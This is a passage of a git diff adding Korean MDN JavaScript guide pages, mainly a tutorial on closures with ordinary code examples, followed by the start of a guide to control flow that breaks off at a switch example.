+<p><code>alert</code> 또는 synchronous XHR과 같은 구현 예외가 존재 합니다. 그러나 그것들은 사용되지 않는 것이 좋다라고 여겨집니다. <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311" title="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">예외를 위한 예외</a>를 조심하세요 (그러나 보통 구현 버그일뿐 그이상 아무것도 아닙니다).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-loops', 'Event loops')}}</td>
+ </tr>
+ <tr>
+ <td><a href="https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop">Node.js Event Loop</a></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/javascript/guide/closures/index.html b/files/ko/web/javascript/guide/closures/index.html
new file mode 100644
index 0000000000..b56d843b2b
--- /dev/null
+++ b/files/ko/web/javascript/guide/closures/index.html
@@ -0,0 +1,454 @@
+---
+title: 클로저
+slug: Web/JavaScript/Guide/Closures
+tags:
+ - Closure
+ - ES5
+ - Intermediate
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p>클로저는 함수와 함수가 선언된 어휘적 환경의 조합이다. 클로저를 이해하려면 자바스크립트가 어떻게 변수의 유효범위를 지정하는지(Lexical scoping)를 먼저 이해해야 한다.</p>
+
+<h2 id="어휘적_범위_지정Lexical_scoping">어휘적 범위 지정(Lexical scoping)</h2>
+
+<p>다음을 보자:</p>
+
+<pre>function init() {
+ var name = "Mozilla"; // name은 init에 의해 생성된 지역 변수이다.
+ function displayName() { // displayName() 은 내부 함수이며, 클로저다.
+ alert(name); // 부모 함수에서 선언된 변수를 사용한다.
+ }
+ displayName();
+}
+init();</pre>
+
+<p><code>init()</code>은 지역 변수 <code>name</code>과 함수 <code>displayName()</code>을 생성한다. <code>displayName()</code>은 <code>init()</code> 안에 정의된 내부 함수이며 <code>init()</code> 함수 본문에서만 사용할 수 있다. 여기서 주의할 점은 <code>displayName()</code> 내부엔 자신만의 지역 변수가 없다는 점이다. 그런데 함수 내부에서 외부 함수의 변수에 접근할 수 있기 때문에 <code>displayName()</code> 역시 부모 함수 <code>init()</code>에서 선언된 변수 <code>name</code>에 접근할 수 있다. 만약 <code>displayName()</code>가 자신만의 <code>name</code>변수를 가지고 있었다면, <code>name</code>대신 <code>this.name</code>을 사용했을 것이다.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 250)}}</p>
+
+<p>위 코드를 <a href="http://jsfiddle.net/xAFs9/3/">실행</a>하면 <code>displayName()</code> 함수 내의 <code>alert()</code>문이 부모 함수에서 정의한 변수 <code>name</code>의 값을 성공적으로 출력한다. 이 예시를 통해 함수가 중첩된 상황에서 파서가 어떻게 변수를 처리하는지 알 수 있다. 이는 어휘적 범위 지정(lexical scoping)의 한 예이다. 여기서 "lexical"이란, 어휘적 범위 지정(lexical scoping) 과정에서 변수가 어디에서 사용 가능한지 알기 위해 그 변수가 소스코드 내 어디에서 선언되었는지 고려한다는 것을 의미한다. 단어 "lexical"은 이런 사실을 나타낸다. 중첩된 함수는 외부 범위(scope)에서 선언한 변수에도 접근할 수 있다.</p>
+
+<h2 id="클로저Closure">클로저(Closure)</h2>
+
+<p>이제 다음 예제를 보자:</p>
+
+<pre>function makeFunc() {
+ var name = "Mozilla";
+ function displayName() {
+ alert(name);
+ }
+ return displayName;
+}
+
+var myFunc = makeFunc();
+//myFunc변수에 displayName을 리턴함
+//유효범위의 어휘적 환경을 유지
+myFunc();
+//리턴된 displayName 함수를 실행(name 변수에 접근)</pre>
+
+<p>이 코드는 바로 전의 예제와 완전히 동일한 결과가 실행된다. 하지만 흥미로운 차이는 <code>displayName()</code>함수가 실행되기 전에 외부함수인 <code>makeFunc()</code>로부터 리턴되어 <code>myFunc</code> 변수에 저장된다는 것이다.</p>
+
+<p>한 눈에 봐서는 이 코드가 여전히 작동하는 것이 직관적으로 보이지 않을 수 있다. 몇몇 프로그래밍 언어에서, 함수 안의 지역 변수들은 그 함수가 처리되는 동안에만 존재한다. <code>makeFunc()</code> 실행이 끝나면(<code>displayName</code>함수가 리턴되고 나면) <code>name</code> 변수에 더 이상 접근할 수 없게 될 것으로 예상하는 것이 일반적이다.</p>
+
+<p>하지만 위의 예시와 자바스크립트의 경우는 다르다. 그 이유는 자바스크립트는 함수를 리턴하고, 리턴하는 함수가 클로저를 형성하기 때문이다. 클로저는 함수와 함수가 선언된 어휘적 환경의 조합이다. 이 환경은 클로저가 생성된 시점의 유효 범위 내에 있는 모든 지역 변수로 구성된다. 첫 번째 예시의 경우, <code>myFunc</code>은 <code>makeFunc</code>이 실행될 때 생성된 <code>displayName</code> 함수의 인스턴스에 대한 참조다. <code>displayName</code>의 인스턴스는 변수 <code>name</code> 이 있는 어휘적 환경에 대한 참조를 유지한다. 이런 이유로 <code>myFunc</code>가 호출될 때 변수 <code>name</code>은 사용할 수 있는 상태로 남게 되고 "Mozilla" 가 <code>alert</code> 에 전달된다.</p>
+
+<p>다음은 조금 더 흥미로운 예제인 makeAdder 함수이다:</p>
+
+<pre>function makeAdder(x) {
+ var y = 1;
+ return function(z) {
+ y = 100;
+ return x + y + z;
+ };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+//클로저에 x와 y의 환경이 저장됨
+
+console.log(add5(2)); // 107 (x:5 + y:100 + z:2)
+console.log(add10(2)); // 112 (x:10 + y:100 + z:2)
+//함수 실행 시 클로저에 저장된 x, y값에 접근하여 값을 계산
+
+</pre>
+
+<p>이 예제에서 단일 인자 <code>x</code>를 받아서 새 함수를 반환하는 함수 <code>makeAdder(x)를 정의했다.</code> 반환되는 함수는 단일 인자 <font face="consolas, Liberation Mono, courier, monospace">z</font>를 받아서 x와 y와 z의 합을 반환한다.</p>
+
+<p>본질적으로 <code>makeAdder</code>는 함수를 만들어내는 공장이다. 이는 <code>makeAdder</code>함수가 특정한 값을 인자로 가질 수 있는 함수들을 리턴한다는 것을 의미한다. 위의 예제에서 <code>add5, add10</code> 두 개의 새로운 함수들을 만들기 위해 <code>makeAdder</code>함수 공장을 사용했다. 하나는 매개변수 <font face="consolas, Liberation Mono, courier, monospace">x</font>에 5를 더하고 다른 하나는 매개변수 <font face="consolas, Liberation Mono, courier, monospace">x</font>에 10을 더한다.</p>
+
+<p><code>add5</code>와 <code>add10</code>은 둘 다 클로저이다. 이들은 같은 함수 본문 정의를 공유하지만 서로 다른 맥락(어휘)적 환경을 저장한다. 함수 실행 시 <code>add5</code>의 맥락적 환경에서 클로저 내부의 x는 5 이지만 <code>add10</code>의 맥락적 환경에서 x는 10이다. 또한 리턴되는 함수에서 초기값이 1로 할당된 y에 접근하여 y값을 100으로 변경한 것을 볼 수 있다. (물론 x값도 동일하게 변경 가능하다.) 이는 클로저가 리턴된 후에도 외부함수의 변수들에 접근 가능하다는 것을 보여주는 포인트이며 클로저에 단순히 값 형태로 전달되는 것이 아니라는 것을 의미한다.</p>
+
+<h2 id="실용적인_클로저">실용적인 클로저</h2>
+
+<p>클로저는 어떤 데이터(어휘적 환경)와 그 데이터를 조작하는 함수를 연관시켜주기 때문에 유용하다. 이것은 객체가 어떤 데이터와(그 객체의 속성) 하나 혹은 그 이상의 메소드들을 연관시킨다는 점에서 객체지향 프로그래밍과 분명히 같은 맥락에 있다.</p>
+
+<p>결론적으로 오직 하나의 메소드를 가지고 있는 객체를 일반적으로 사용하는 모든 곳에 클로저를 사용할 수 있다.</p>
+
+<p>이렇게 할 수 있는 상황은 특히 웹에서 일반적이다. 프론트 엔드 자바스크립트에서 우리가 쓰는 많은 코드가 이벤트 기반이다. 우리는 몇 가지 동작을 정의한 다음 사용자에 의한 이벤트에(클릭 혹은 키 누르기 같은) 연결한다. 우리의 코드는 일반적으로 콜백으로 첨부된다: 이벤트에 응답하여 실행되는 단일 함수다.</p>
+
+<p>예를 들면 페이지의 글자 크기를 조정하는 몇 개의 버튼을 추가한다고 가정하자. 이 작업을 수행하는 한 가지 방법은 body 요소의 font-size를 픽셀 단위로 지정하고 상대적인 em 단위를 사용하여 페이지의 다른 요소들의 (예: 헤더) 크기를 설정하는 것이다.</p>
+
+<pre>body {
+ font-family: Helvetica, Arial, sans-serif;
+ font-size: 12px;
+}
+
+h1 {
+ font-size: 1.5em;
+}
+
+h2 {
+ font-size: 1.2em;
+}
+</pre>
+
+<p>우리의 대화식 글자 크기 버튼들은 body 요소의 font-size 속성을 변경할 수 있고 이런 조정은 상대적 단위들 덕분에 페이지의 다른 요소에 의해 선택된다.</p>
+
+<p>여기 자바스크립트 코드가 있다.</p>
+
+<pre>function makeSizer(size) {
+ return function() {
+ document.body.style.fontSize = size + 'px';
+ };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>, <code>size14</code>, <code>size16</code>은 body 요소의 글자 크기를 각각 12, 14, 16 픽셀로 바꾸는 함수이다. 이 함수들을 아래처럼 버튼들에(이 경우에는 링크) 연결할 수 있다.</p>
+
+<pre>document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre>&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}</p>
+
+<h2 id="클로저를_이용해서_프라이빗_메소드_private_method_흉내내기">클로저를 이용해서 프라이빗 메소드 (private method) 흉내내기</h2>
+
+<p>자바와 같은 몇몇 언어들은 메소드를 프라이빗으로 선언할 수 있는 기능을 제공한다. 이는 같은 클래스 내부의 다른 메소드에서만 그 메소드들을 호출할 수 있다는 의미이다.</p>
+
+<p>자바스크립트는 태생적으로는 이런 방법을 제공하지 않지만 클로저를 이용하여 프라이빗 메소드를 흉내내는 것이 가능하다. 프라이빗 메소드는 코드에 제한적인 접근만을 허용한다는 점 뿐만 아니라 전역 네임 스페이스를 관리하는 강력한 방법을 제공하여 불필요한 메소드가 공용 인터페이스를 혼란스럽게 만들지 않도록 한다.</p>
+
+<p>아래 코드는 프라이빗 함수와 변수에 접근하는 퍼블릭 함수를 정의하기 위해 클로저를 사용하는 방법을 보여준다. 이렇게 클로저를 사용하는 것을 <a href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">모듈 패턴</a>이라 한다.</p>
+
+<pre>var counter = (function() {
+ var privateCounter = 0;
+ function changeBy(val) {
+ privateCounter += val;
+ }
+ return {
+ increment: function() {
+ changeBy(1);
+ },
+ decrement: function() {
+ changeBy(-1);
+ },
+ value: function() {
+ return privateCounter;
+ }
+ };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1
+</pre>
+
+<p>이전 예제에서 각 클로저들이 고유한 문법적 환경을 가졌지만 여기서 우리는 <code>counter.increment</code>, <code>counter.decrement</code>, <code>counter.value </code>세 함수에 의해 공유되는 하나의 어휘적 환경을 만든다.</p>
+
+<p>공유되는 어휘적 환경은 실행되는 익명 함수 안에서 만들어진다. 이 익명 함수는 정의되는 즉시 실행된다. 이 어휘적 환경은 두 개의 프라이빗 아이템을 포함한다. 하나는 <code>privateCounter</code>라는 변수이고 나머지 하나는 <code>changeBy</code>라는 함수이다. 둘 다 익명 함수 외부에서 접근될 수 없다. 대신에 익명 래퍼에서 반환된 세 개의 퍼블릭 함수를 통해서만 접근되어야만 한다.</p>
+
+<p>위의 세 가지 퍼블릭 함수는 같은 환경을 공유하는 클로저다. 자바스크립트의 어휘적 유효 범위 덕분에 세 함수 각각 <code>privateCounter</code> 변수와 <code>changeBy</code> 함수에 접근할 수 있다.</p>
+
+<p>카운터를 생성하는 익명 함수를 정의하고 그 함수를 즉시 호출하고 결과를 counter 변수에 할당하는 것을 알아차렸을 것이다. 이 함수를 별도의 변수 makeCounter 저장하고 이 변수를 이용해 여러 개의 카운터를 만들 수 있다.</p>
+
+<pre>var makeCounter = function() {
+ var privateCounter = 0;
+ function changeBy(val) {
+ privateCounter += val;
+ }
+ return {
+ increment: function() {
+ changeBy(1);
+ },
+ decrement: function() {
+ changeBy(-1);
+ },
+ value: function() {
+ return privateCounter;
+ }
+ }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* 2 */
+counter1.decrement();
+alert(counter1.value()); /* 1 */
+alert(counter2.value()); /* 0 */
+</pre>
+
+<p>두 개의 카운터가 어떻게 다른 카운터와 독립성을 유지하는지 주목해보자. 각 클로저는 그들 고유의 클로저를 통한 privateCounter 변수의 다른 버전을 참조한다. 각 카운터가 호출될 때마다; 하나의 클로저에서 변수 값을 변경해도 다른 클로저의 값에는 영향을 주지 않는다.</p>
+
+<p>이런 방식으로 클로저를 사용하여 객체지향 프로그래밍의 정보 은닉과 캡슐화 같은 이점들을 얻을 수 있다.</p>
+
+<h2 id="클로저_스코프_체인">클로저 스코프 체인</h2>
+
+<p>모든 클로저에는 세가지 스코프(범위)가 있다:-</p>
+
+<ul>
+ <li>지역 범위 (Local Scope, Own scope)</li>
+ <li>외부 함수 범위 (Outer Functions Scope)</li>
+ <li>전역 범위 (Global Scope)</li>
+</ul>
+
+<p>따라서, 우리는 클로저에 대해 세가지 범위 모두 접근할 수 있지만, 중첩된 내부 함수가 있는 경우 종종 실수를 저지른다. 아래 예제를 확인해보자:</p>
+
+<pre><code>// 전역 범위 (global scope)
+var e = 10;
+function sum(a){
+ return function(b){
+ return function(c){
+ // 외부 함수 범위 (outer functions scope)
+ return function(d){
+ // 지역 범위 (local scope)
+ return a + b + c + d + e;
+ }
+ }
+ }
+}
+
+console.log(sum(1)(2)(3)(4)); // log 20
+
+// 익명 함수 없이 작성할 수도 있다.
+
+// 전역 범위 (global scope)
+var e = 10;
+function sum(a){
+ return function sum2(b){
+ return function sum3(c){
+ // 외부 함수 범위 (outer functions scope)
+ return function sum4(d){
+ // 지역 범위 (local scope)
+ return a + b + c + d + e;
+ }
+ }
+ }
+}
+
+var s = sum(1);
+var s1 = s(2);
+var s2 = s1(3);
+var s3 = s2(4);
+console.log(s3) //log 20</code></pre>
+
+<p>위의 예제를 보면 일련의 중첩된 함수들을 확인할 수 있다. 이 함수들은 전부 외부 함수의 스코프에 접근할 수 있다. 그런데 문제는 즉각적인 외부 함수의 스코프만을 추측한다는 것이다. 이 문맥에서는 모든 클로저가 선언된 외부 함수의 스코프에 접근한다라고 말할 수 있다.</p>
+
+<h2 id="루프에서_클로저_생성하기_일반적인_실수">루프에서 클로저 생성하기: 일반적인 실수</h2>
+
+<p>ECMAScript 2015의 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let" title="방해"><code>let</code> 키워드</a> 소개 전에는 클로저와 관련된 일반적인 문제는 루프 안에서 클로저가 생성되었을 때 발생한다.다음 예제를 보자.</p>
+
+<pre>&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p>
+
+<p>helpText 배열은 세 개의 도움말 힌트를 정의한다. 각 도움말은 문서의 입력 필드의 ID와 연관된다. 루프를 돌면서 각 입력 필드 ID에 해당하는 엘리먼트의 onfocus 이벤트에 관련된 도움말을 보여주는 메소드에 연결한다.</p>
+
+<p>이 코드를 사용하면 제대로 동작하지 않는 것을 알게 된다. 어떤 필드에 포커스를 주더라도 나이에 관한 도움말이 표시된다.</p>
+
+<p>onfocus 이벤트에 연결된 함수가 클로저이기 때문이다. 이 클로저는 함수 정의와 setupHelp 함수 범위에서 캡처된 환경으로 구성된다. 루프에서 세 개의 클로저가 만들어졌지만 각 클로저는 값이 변하는 변수가 (item.help) 있는 같은 단일 환경을 공유한다. onfocus 콜백이 실행될 때 콜백의 환경에서 item 변수는 (세개의 클로저가 공유한다) helpText 리스트의 마지막 요소를 가리키고 있을 것이다.</p>
+
+<p>이 경우 한 가지 해결책은 더 많은 클로저를 사용하는 것이다: 특히 앞에서 설명한 함수 팩토리를 사용하는 것이다.</p>
+
+<pre>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+ return function() {
+ showHelp(help);
+ };
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+ }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}</p>
+
+<p>이것은 예상대로 동작한다. 모두 단일 환경을 공유하는 콜백대신, <code>makeHelpCallback</code> 함수는 각각의 콜백에 새로운 어휘적 환경을 생성한다. 여기서 help는 helpText 배열의 해당 문자열을 나타낸다.</p>
+
+<p>익명 클로저를 사용하여 위 코드를 작성하는 또 다른 방법은 다음과 같다.</p>
+
+<pre>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ (function() {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
+ }
+}
+
+setupHelp();</pre>
+
+<p>더 많은 클로저를 사용하는 것이 싫다면 ES2015의 <code><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 키워드를 사용할 수 있다.</p>
+
+<pre>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ let item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+}
+
+setupHelp();</pre>
+
+<p>위의 경우 var 대신 let을 사용하여 모든 클로저가 블록 범위 변수를 바인딩할 것이므로 추가적인 클로저를 사용하지 않아도 완벽하게 동작할 것이다.</p>
+
+<h2 id="성능_관련_고려_사항">성능 관련 고려 사항</h2>
+
+<p>특정 작업에 클로저가 필요하지 않는데 다른 함수 내에서 함수를 불필요하게 작성하는 것은 현명하지 않다. 이것은 처리 속도와 메모리 소비 측면에서 스크립트 성능에 부정적인 영향을 미칠 것이다.</p>
+
+<p>예를 들어, 새로운 객체/클래스를 생성 할 때, 메소드는 일반적으로 객체 생성자에 정의되기보다는 객체의 프로토타입에 연결되어야 한다. 그 이유는 생성자가 호출 될 때마다 메서드가 다시 할당되기 때문이다 (즉, 모든 개체가 생성 될 때마다).</p>
+
+<p>비실용적이지만 시범적인 다음 예를 고려하라:</p>
+
+<pre>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+ this.getName = function() {
+ return this.name;
+ };
+
+ this.getMessage = function() {
+ return this.message;
+ };
+}
+</pre>
+
+<p>앞의 코드는 클로저의 이점을 이용하지 않음으로 다음과 같이 다시 쓸 수 있다.</p>
+
+<pre>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+MyObject.prototype = {
+ getName: function() {
+ return this.name;
+ },
+ getMessage: function() {
+ return this.message;
+ }
+};
+</pre>
+
+<p>그러나 프로토타입을 다시 정의하는 것은 권장되지 않음으로 기존 프로토타입에 추가하는 다음 예제가 더 좋다.</p>
+
+<pre>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+ return this.name;
+};
+MyObject.prototype.getMessage = function() {
+ return this.message;
+};
+</pre>
+
+<p>위의 코드는 같은 결과를 가진 더 깨끗한 방법으로 작성할 수도 있다:</p>
+
+<pre>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+(function() {
+ this.getName = function() {
+ return this.name;
+ };
+ this.getMessage = function() {
+ return this.message;
+ };
+}).call(MyObject.prototype);
+</pre>
+
+<p>앞의 두 가지 예제에서 상속된 프로토타입은 모든 객체에서 공유될 수 있으며 메소드 정의는 모든 객체 생성시 발생할 필요가 없다. <a href="/en-US/docs/JavaScript/Guide/Details_of_the_Object_Model" title="en-US/docs/JavaScript/Guide/Details of the Object Model">객체 모델의 세부 사항</a>을 참고하라.</p>
diff --git a/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html
new file mode 100644
index 0000000000..fa007d6997
--- /dev/null
+++ b/files/ko/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -0,0 +1,433 @@
+---
+title: 제어 흐름과 에러 처리
+slug: Web/JavaScript/Guide/Control_flow_and_error_handling
+tags:
+ - 가이드
+ - 자바 스크립트
+ - 초보자
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p>
+
+<p class="summary">JavaScript는 어플리케이션 상의 상호작용을 통합하는데 사용할 수 있는 일련의 문법, 특히 제어흐름 문을 지원합니다. 이 장에서는 이러한 문법의 개요를 제공합니다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript reference</a>는 이 장의 문법에 대한 철저하고 자세한 내용은 포함하고 있습니다. 세미콜론 (;) 은 JavaScript 코드 상에서 문장을 나누는데 사용됩니다. </p>
+
+<p> JavaScript 표현식도 문법입니다. 표현식에 대한 자세한 내용은 <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a>를 참조하세요.</p>
+
+<h2 id="Block_문">Block 문</h2>
+
+<p>Block 문은 코드를 묶는 가장 기본적인 문법입니다. Block 문은 중괄호 ( { } )에 의해 범위가 결정됩니다.</p>
+
+<pre class="brush: js">{
+ statement_1;
+ statement_2;
+ .
+ .
+ .
+ statement_n;
+}
+</pre>
+
+<h3 id="예시">예시</h3>
+
+<p>Block 문은 일반적으로 제어 흐름 문(if, for, while)과 함께  사용됩니다.</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+ x++;
+}
+</pre>
+
+<p>여기서, <code>{ x++; }</code>는 block 문입니다.</p>
+
+<p><strong>중요</strong>: ECMAScript2015 이전의 JavaScript는 <strong>블록 범위를 가지고 있지 않습니다.</strong> Block 내에서 선언한 변수는 블록을 넘어 변수가 위치한 함수 혹은 스크립트에 영향을 끼치게 됩니다.즉, block 문은 변수의 범위를 정의하지 않습니다. 자바스크립트의 "독립" block 은 C 혹은 Java의 그것과 완전히 다른 결과를 가집니다. 예를 들어:</p>
+
+<pre class="brush: js">var x = 1;
+{
+ var x = 2;
+}
+console.log(x); // outputs 2
+</pre>
+
+<p>블록 내에 var x 문이 블록 전에 var x 문과 같은 범위에 있기 때문에 2를 출력합니다. C 나 Java에서 해당 코드는 1을 출력합니다.</p>
+
+<p>ECMAScript2015부터, <code>let</code> 그리고 <code>const</code> 변수 선언으로 변수의 블록 범위를 제한할 수 있습니다. 자세한 내용은 {{jsxref("Statements/let", "let")}}와 {{jsxref("Statements/const", "const")}} 참조 페이지를 참조하세요.</p>
+
+<h2 id="조건문">조건문</h2>
+
+<p>조건문은 특정 조건이 참인 경우에 실행하는 명령의 집합입니다. JavaScript는 두 가지 조건문을 지원합니다: <code>if...else</code> and <code>switch</code>.</p>
+
+<h3 id="if...else_문"><code>if...else</code> 문</h3>
+
+<p>특정 조건이 참인 경우 문장을 실행하기 위해 if 문을 사용합니다. 또한 선택적으로 조건이 거짓인 경우 문장을 실행하기 위해서는 else 절을 사용합니다. 다음과 같은 경우 :</p>
+
+<pre class="brush: js">if (condition) {
+ statement_1;
+} else {
+ statement_2;
+}</pre>
+
+<p>조건의 참과 거짓에 따라 수행문이 정해질 때 사용할 수 있습니다.. 무엇이 참과 거짓으로 평가되는 지에 대한 설명은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean#Description">Boolean</a>을 참조하세요. 조건이 참으로 평가되면, statement_1은 실행됩니다. 그렇지 않으면, statement_2가 실행됩니다. statement_1과 statement_2는 if문이 더 중첩 된 경우를 포함한 문장이 될 수도 있습니다.</p>
+
+<p>다음과 같은 순서대로 나열된 여러 조건을 가지고 else if를 사용하여 문장을 복잡하게 할 수 있습니다:</p>
+
+<pre class="brush: js">if (condition_1) {
+ statement_1;
+} else if (condition_2) {
+  statement_2;
+} else if (condition_n) {
+  statement_n;
+} else {
+  statement_last;
+}
+</pre>
+
+<p>여러 줄의 문장을 실행하기 위해, block 문(<code>{ ... }</code>)안에 코드들을 작성합니다. 일반적으로, 특히 코드가 중첩할 때, 항상 block 문을 사용하는 것이 좋은 습관입니다:</p>
+
+<pre class="brush: js">if (condition) {
+ statement_1_runs_if_condition_is_true;
+ statement_2_runs_if_condition_is_true;
+} else {
+ statement_3_runs_if_condition_is_false;
+ statement_4_runs_if_condition_is_false;
+}
+</pre>
+
+<div>조건문 안에서의 변수값 할당은 사용하지 않는 것이 좋습니다. 왜냐하면 그것은 코드를 자세히 보지 않는 경우, 동등비교연산자로 오해할 수 있기 때문입니다. 예를 들어, 다음 코드는 사용하지 마세요.</div>
+
+<div class="warning">
+<p>if (x = y) {<br>
+      /* statements here */<br>
+ }</p>
+</div>
+
+<p>만약 조건식에 할당을 사용해야하는 경우, 일반적인 관행은 할당 주위에 추가 괄호를 넣는 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">if ((x = y)) {
+ /* statements here */
+}
+</pre>
+
+<h4 id="거짓으로_취급하는_값">거짓으로 취급하는 값</h4>
+
+<p>다음과 같은 값은 거짓으로 평가됩니다:</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>the empty string (<code>""</code>)</li>
+</ul>
+
+<p>조건문에 전달되었을 때 모든 개체를 포함하여 다른 모든 값은 참으로 평가합니다.</p>
+
+<p>{{jsxref("Boolean")}} 개체의 참과 거짓 값으로 원시 boolean 값 true와 false를 혼동하지 마세요. 예를 들어:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // this condition evaluates to true
+</pre>
+
+<h4 id="예시_2">예시</h4>
+
+<p>다음 예에서, <code>텍스트</code> 개체의 문자 수가 3인 경우 함수 <code>checkData</code>는 <code>true</code>를 반환합니다; 그렇지 않으면 경고를 표시하고 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">function checkData() {
+ if (document.form1.threeChar.value.length == 3) {
+ return true;
+ } else {
+ alert("Enter exactly three characters. " +
+ document.form1.threeChar.value + " is not valid.");
+ return false;
+ }
+}
+</pre>
+
+<h3 id="switch문"><font face="Consolas, Monaco, Andale Mono, monospace"><code>switch</code>문</font></h3>
+
+<p>Switch문은 프로그램이 표현식을 평가하고  값을 조건과 비교합니다. 만약 값이 일치한다면,  프로그램은 각 조건의 하위 문장을 실행합니다. Switch문은 아래와 같이 사용합니다.:</p>
+
+<pre class="brush: js">switch (expression) {
+ case label_1:
+ statements_1
+ [break;]
+ case label_2:
+ statements_2
+ [break;]
+ ...
+ default:
+ statements_def
+ [break;]
+}
+</pre>
+
+<p>프로그램은 주어진 값과 일치하는 case 라벨을 찾습니다. 그리고나서 관련된 구문을 수행합니다. 만약 매치되는 라벨이 없다면 그 default 절을 찾습니다. 찾게되면, 관련된 구문을 수행합니다.  default 절을 못 찾게 된다면 프로그램의 switch문은 종료됩니다. 관례상, default 절은 마지막절입니다. 하지만 꼭 그럴 필요는 없습니다.</p>
+
+<p>한번 일치된 문장이 수행되고 switch문을 따라서 계속 수행한다면 각각의 조건절로 연결된 선택적인 break문은 그 프로그램이 switch문을 벗어나게 합니다. 만약 break문이 생략된다면, 그 프로그램은 switch문안에서 다음 문장을 계속 수행합니다.</p>
+
+<h4 id="예시_3"><strong>예시</strong></h4>
+
